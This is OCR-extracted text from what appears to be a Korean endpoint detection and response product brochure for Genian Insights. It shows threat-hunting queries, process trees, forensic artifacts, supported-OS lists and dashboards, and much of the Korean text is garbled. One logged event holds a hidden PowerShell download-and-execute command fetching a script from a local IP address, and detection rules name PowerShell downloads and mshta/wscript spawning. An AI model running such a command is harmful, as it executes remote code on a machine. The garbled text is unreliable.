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« CmdLine:download* AND ProcName:powershell.exe => powershell 3flA download Z&0{ £=34 0| HAM

* RegName:hh.exe AND ProcName:("wscript.exe" OR "mshta.exe" OR "cmd.exe")

v
=> hh.exe 0f O[3 AIHEl

wscript.exe, mshta.exe, cmd.exe 0|

(Z 10C Download_SVR Q

@
IR L O A e O

L] c v B *
g vl Q -~
OHIE Q 200k U HEAZ
=
>
CmdLine:download* AND ProcName:powershell.exe
S | T | [ TP T 1T T LTl T ] . . - L]
°|!= Nzt gn ol!E 8’. !* ojflE 9 06-9 06-10 06-11 06-12 06-13 06-14 06-15 06-16 06-17 06-18 06-19 06-20 06-21 06-22 06-23
l ©x  oHE Y4 2R OWIE o} OIS HAEE
2025-05-23 17:08:15 ProcessStart cmd.exe ZZH|A0]| oJ3 powershell.exe TZM|A7} AlZFE| A& LICH B4:33 FileCreate TEgATt /i data.lock.PPDL
21 network events =
2025-05-23 16:13:45 ProcessStart cmd.exe TZHA0] 2J3f powershell.exe TR M| A7} AIZE|AELICE Ba:31 FileCreate opera.exe 24 A7} C:\Users\forest\AppData\Roaming\C outgoing
— B2
A — [T S7a11 || 2025-06-2309:34:31 FileMove opera.exe 2447} C:\Users\forest\AppData\Roaming\C =2
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powershell.exe o Ba:31 FileCreate opera.exe I 4 A7} C:\Users\forest\AppData\Roaming\C

process

powershell.exe
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- Name p4:28 FileMove D2 M A% It d lock.UFEM
parent process
dsmaois L oo
wershell.exe B4:28 FileCreate o2 M A%t It data.lock.UFEM
ProcessID 61980 @ 60656
Process User BOOK-IHARSPMCFG\USER 28 FileDelete ZaAA%t p |
D
N :27 FileCreate n2MAT) YDVri
15 module events™ ™~ ~ Integrity  MEDIUM P 224 ftmpltmp "
powershell.exe Level § —_— . .
¢ : 27 Jlock.
process Command Line ?4 27 FileMove = B lock.KBGF
.- lpowershell -ExecutionPolicy Bypass -WindowsStyle Hidden -
- Command "iex (New-Object Ba:27 FileCreate o2 MHA%t data.lock.KBGH
Net:WebCl http://192.168.220.128:8080)test.
jps1)” i
13 file events :27 FileDelete dnf-refresh T2HA7]
v EEmem - .
Tacti =
et S B 3 4 5 6 o 8 9 10 » 100 v | i 7| 601-700 /1124647 &
Custom Tag /15 22 s
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VirusTotal
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Google

HEHI HdF ¥
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(5% St waw)

NetworkConnect &
Process Name slack.exe
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@
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Windows

Windows 7 SP2 0|4

ServerServer 2012 0|4t

(2012 R2, 2016, 2019,

2022, 2025)

A Red Hat Enterprise Linux, x86_64
a Red Hat Enterprise Linux 9.1 (Plo
fa) CentOS Linux 7 (Core), x86_64

d  Ubuntu22.04.4 LTS, x86_64

A Red Hat Enterprise Linux, x86_64
fa Rocky Linux 8.7 (Green Obsidian)
fa CentOS Linux 7 (Core), x86_64

o) Red Hat Enterprise Linux 9.1 (Plo

@) Genians

>

Linux

Unbuntu : 18.04.5 0|4t

Centos : 7 O]4¢

Debian : 10 O|At

Fedora : 35 0|4t

RHEL : 7 Ol

Rocky : 8 O}

macOS Sequoia

Ubuntu 20.04.6 LTS, x86_64

Microsoft Windows 11 Professional x64

macOS Sonoma

Microsoft Windows 11 Home x64

Microsoft Windows 11 Professional x64

Microsoft Windows 10 Professional x64

Microsoft Windows 11 Professional x64

Microsoft Windows Server 2019 x64

Ubuntu 24.04.1 LTS, x86_64

macO0S

11 Big Sur

12 Monterey

13 Ventura

14 Sonoma

15 Sequoia
26 Tahoe (0} )

Microsoft Windows Server 2012 R2 x64
Microsoft Windows Server 2012 R2 x64
Microsoft Windows Server 2012 R2 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2016 x64
Microsoft Windows Server 2019 x64

Microsoft Windows Server 2019 x64

N-GI87SPNUAAI . 172.29.45.
WORKGROUP™CSM

userinit.exe
parent process

.
Explorer.EXE J
parent process 2 rietwork events
utging 2 connections

WINWORD.EXE
ehil process

im-runc-v2
arent process

dash
parent process

3 network events
apache2 outgelng 13 connedions
oartat process i

3 network events.
incoming. 60 omnections

0 file events

facBook Air (2)*.172.29.93>
WORKGROUPyoon

3 nétwork events
auigang 3 comectons

Clipboard History
P process

]
nsattributedstringagent

it.GPU .apple
child process com-apple.

=)=

WINWORD.EXE

2025-06-17 15;

EZE =
R kLl
EventTime  2025-06-17 15:30:55 ~ 2025-06-17 15:31:03
(72 59t Saw)
EventType  ProcessStart @
Process 'WINWORD.EXE

:55  ProcessStart v

Name
Process Path C!\Program Files\Microsoft
Office\Office15\WINWORD.EXE

ProcessID 10928 @ 15804
Process User WIN-GL87SPNUAAI\CSW
D

Integrity  LOW

Level

Command Line

FC:\Program Files\Microsoft Office\Office15\WINWORD.EXE"
JEmbedding

mel Mg
i 1
CresteFile Jumplsess S1e10b1S3560dSdbT0cS36452026095
CustomTag 48772 118 S
YR
File Name  sessS1610511535c0d5d5T0c93505202608
ELL-El

Google - File Name
Google - Process Name
NAVER

Bing - Process 8

Bing - Fle 9 35
debug.log -8
xdebug.log -8

sess_11e6baf860674562fdde6461a2b65309 <
sess_183391bbbc7d80c0847b018347044e4c <
sess_21474d07e708926f0560722905724164 <
sess_26¢191bc11605dfa665534e2db795eb8 <

s o it |

Name

Source File /private/var/folders/5s/6SiykTzs64142c8bw21nds w00
00gn/T/SECA3F43-1ET1-4ECA 8EQ3
59DCCOB2DD36/.dat.nosyncIAS WHVZFA

TargetFile  /private/var/folders/ss/6SiykTzs64l42c bw21nds w00
00gn/T/SECA3FA3-1ET14ECA 8EC3
59DCCOB2DD36/public.utfg-plain-text.ot

Custom Tag 415712091 1

nY HE
File Name  public.utfS-plain-text.oxt
size 126 Bytes

FileType  DOC

sz ya

Google - File Name.
Google - Process Name
NAVER

. WebKit.
i proce

Bing - Process 85
Bing - File ol 8
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A Linux 7123
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v B 20140061745 172206780  50.1471254  ODECAAGYICAIA DESKTOP-VPTS0GS Jang
il 2
Windows 7123 v € 20190020690 1921680133 91471253  ADTEITIFETSO genian-tace] MacBook ~  genian-tac
25
13 Idg_Test 4 0 & macos7lEEY v & 201420714701 192168061 501471253  SOEGSOOFTBAS Tac_Online2! MacBook -+ tac_online.
£ il X
A Linux 7122 v B comsomess. e I ovEKssrAED s ezcune =
) D 2014006051274 19216818  211196247.193 EODSSE2DED secuteam-B250-HD3 secuteam
22 Windows 7|2H% .
v 20140060545 192168133131 SO14TL2S4  O0OC2OGLECOB GENIANS vmgenians
19 Agent Upgrade Test group v 0 @& macOS7IE5Y 2
v D 2014006051274 192168133133 SO1ATL2SH  000C2938ACZB localhostlocaldomain  genian
A Linux 71254
9] 8 20140060545 192168.146.128 59.14.71.254 00:0C29:4A'60'92 3 VM EsTlay DESKTOP-QFLC820 cbhek
- i X
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79 7ls

IIl. Genian Insights E

(OFE[HE ) AA

YH2E AZ

2025-06-24 11:18:05

G-Report (172.29.67.110 / MANU,

q=N{I A
IPF4&
Dns 7HA|
2teg HolE
dbto|2 &
ARP H|0|2
Zoe!
ADEF0 85

v HRRMYRIE &
QEU YA ER
chrome E2t2X
edge 222X
whale 22t2x

v Asd¥Es &
a2 MsdY
ool zHef
MH|A

v HEROHE &
Alag
2ot
oiE23|0|1M

v Prefetch Ity &
Prefetch §8

v ogAAY X
MFT
LogFile
UsnJrnl

v HrrE2 &

#r|AE2|

H, Prefetch Ofe, HIX[AEZ|, B2t@X Y= 7|5 52| ZHAS 2ot OfE|HES +FelLCt.

Yy T Afo|= oy F= P Ar8x Lk 3%
Artifact B5C578B88467D1B441D99160883F1EE781BF--- 331.0MB C!\Program Files\Geni\Insights\artifact\B5C578B88467---  172.29.67.110 L _J n nn o
:
S M O[HIE Az} OtE|HE §¥ OfE|HE HIF & ol AIx|

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AB27772B.pf FileName : CVERSIONS.2.DB i

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AB27772B.pf FileName : WINDOWS.STATEREPOSITORYPS.DLL

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AB27772B.pf FileName : WINDOWSSHELL.MANIFEST

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AE3C3963.pf FileName : BC3902D8132F43E3AE086A009979FA88.DB

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AE3C3963.pf FileName : D2D1.DLL

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AE3C3963.pf FileName : DPAPI.DLL

2025-06-24 11:04:22 Prefetch PfRecord PfName : MS-TEAMS.EXE-AE3C3963.pf FileName : TZRES.DLL.MUI

2025-06-24 11:04:22

2025-06-24 11:04:22 Prefetch PfRecord
100 v 2 3 4 5 6 7 8 9 10 >
YHEE ‘
|
. |
FilePath C!\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.LANGUAGEE!
! ' ! olE|™E 47 hat |V System B V| Autorun v gated 4R 7|18
PfName MS-TEAMS.EXE-AE3C3963.pf
x|AER] HEF OME Prefetch It
0s Windows
i M EQ3 Izl 4o
Message PfName : MS-TEAMS.EXE-AE3C3963.pf FileName : WSHQOS.D FileSystem E2 HIEH3T M2 B
DevicePath \VOLUME{01d7e87028838d32-74295312}\PROGRAM FILES\WI 1
KR\3930BB4CD9712D6B2C49C48D31186FAB\WSHQOS.DLL.M
ClusteriD XYY8-NFQM-WZBT-QVEB
FileName WSHQOS.DLL.MUI
Index 159
type artifactsrc
2%
IndexName artifact-uteiltd-2025.06.24

19



0 — Il. Genian Insights E
+8271s

(P12 O|O|TE) GIO]HE= AEAE 2THEE L7IX| Zot=F 7FEA| SEISHH LAt 2HE0M e Qo2 SEOIEE AL JUFLICE

AgentCPUALE HF % X & Agent 7 Z|2A ALE
AgentCPUALE Ho AgentH| 22|AtS Ha
-3
1% 15.8 MB
Agent_2| 22 AMEEHCPU) Agent_2| 24 AHEZH(Memory) LR

40M
6
30M

20M

2
. l. ‘ \‘ ‘ij‘k
T I T T [ I

Windows 12-14 12-16 12-18 12-20 12-22 12-24 012[]4 12]—]6 IZI-]S ]2'—20 12]—22 IZI—24 ]2'—26 12]—28 IZI—SO 0],,',
2=k} PMS
AV B O,
Anti-Virus OHAIX H|O|E{ E<
DRM HAIKIOF 10|18 =& &
@ @ DLP malE| ot O& o
[DRM + > .
NAC oA Ix \ = )
—_ 1
@ SHolx s ATEY 0| 22|
No problem!
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EXFA
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IIl. Genian Insights E

(Threat Hunting) £ £ o]l CHot APH EFX|7t OFsRiLICH 8 TEMALL

S 2| oA RIS =

* Of2f notepad.exe 2| ZE WIS = M5IH & AXIOAM YO M=K, S-JE THLO| OTH 20| AA=X], 2l E

PE Z402 TH| 39|

index endpoint2-*

Each widget shows detailed information about what you're searching for, and makes it easy to analyse known information (IP, Port, Process, etc.).

* Understand routine behaviour of specific processes, sﬁeciﬁc IPs, and more at a glance
* Example search) ProcName:notepad.exe, ProcName:chrome.exe, BytesSent:>1000000 AND ProcName:0000, RemotePort:339, RemotelP:00.000.00.00

External connection IP T+ % % & Department RO Number of External IP accesses - Comparison of log counts for last week/this week Network connection History
= e - E__ E__
20.190.144.170 3 6,678 012636102 3
e ’ Counts 20.190.144.170 3 FileMove 2,773 1,901 -31% 20.190.14-- + 300 %
40.126.38.160 2
40.126.38.102 3 SREE 862 1 1 20.190.144.172 2
20.190.144.169 1 FileDelete 2,584 483 -81% 40.126.38- 0 3 + 300 %
20.190.144.172 2 Windows& 756
4
Number of bytes exchanged through the session - Process(or File) Path o RB
EventTime P ProcName BytesS- By Local t AAIIRE 5 EventTime P att
2025-05-1210:04:41 172.29.25.95 2,208 4914 30712 1 2025-05-13 14:42:59 172.29.60.62 HEE] Notepad.exe C:\Program Files\Wi Apps\Microsoft. Wi _11.2501.31.
2025-05-1209:42:27 172.29.155.-  Notepad.exe 2,318 4,941 50501 443 40.126.38.102 1 g 2025-05-13 14:42:59 172.29.60.62 olgey Notepad.exe C:\Program Fil ind Apps\Mi: ft.Wind pad_11.2501.31.
- AN “ o 2 3 4 5 6 7 8 9 10(» 1-20/11378 &
External 'I'ransmuss Mej W [abont File Create/Copyl/| /Upload/! / %X &
15k O|HIE AlZ} @@ 2025-05-12 10:04:41 P ProcName  ProcPath EventSubType FileType FileName2 FileName
ABXHP @@ 172292595 BI30018 112293020 NOTEPAQ.™*  L.\PTOEIAMm FIES\WINUOWSADPS\MICTOSOILWINUOWSNOLEDE - Fllevelete Serenoy-341
10k mayAn
ERMA¥ @@ Notepad.exe #:35:07 172292597  Notepad. C:\Program Files\WindowsApps\Microsoft.WindowsNotepa--- FileCreate 114cfd577bac
44 Bytes @Q 27298
5k 44 Bytes @@ 4914 4:35:05 172.29.25.97 Notepad.-- C:\Program Files\WindowsApps\Microsoft.WindowsNotepa-- FileDelete 1a126312-73¢
2™ Port @Q 30712
L e #:35:05 172.29.25.97 Notepad.-- C:\Program Files\WindowsApps\Microsoft.WindowsNotepa--- FileMove 1a126312-73d4-4---  1a126312-73c¢
05-6 05-| 2|2E Port @Q 443
| 2ZE P @Q 40.126.38.160 .
Open Port ] HZIIRE @q 1 h( ’ 2 3 4 5 6 7 8 9 10 (» 1-20/9200 &
L= L oYWl raph. microsoft.com)
Fand Execution Commands %X &
EventTime AERHP OHIE Y44 28 Z2HA 1D n2AAY FHuszfl
2025-05-12 08:57:54 172.29.30.85 ChildProcessCreate 56356 Notepad.exe "C:\Program Files\WindowsApps\Microsoft. WindowsNotepad_11.2501.3.

% 2| notepad.exe Off 2[¢t O]l ARl Tt~ 201
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KONNI_AFI1_202401/1

A (20) August 2024 Dashboard identifying attack

A indicators from the Genian Security Center (GSC)
ySi.
Y Konni Threat Worldview Extended Analysis

Report

Open Port 24

LHE0] E2iH A= Md|A
AE TEJ} LSO A AR

fEey ot
Sy HAIEE 2ot ‘ gt |
oERY
SW#I2E_202504 3
KISA 25U2toll 2708 FAY 8IS delR 4 =
ey [ [ -~ |
CHAlZE 9t
| [ ——— | [k i i o g

. Vulnerability information Link(Eng)
KISA 5Lt} Bt2 7471 (Kor)

[Eeme———

Acrobat reader
2

Chrome Version
2

USB A2 2 HS

VMware
2

. HAIRE (20254 48 chrome F71)
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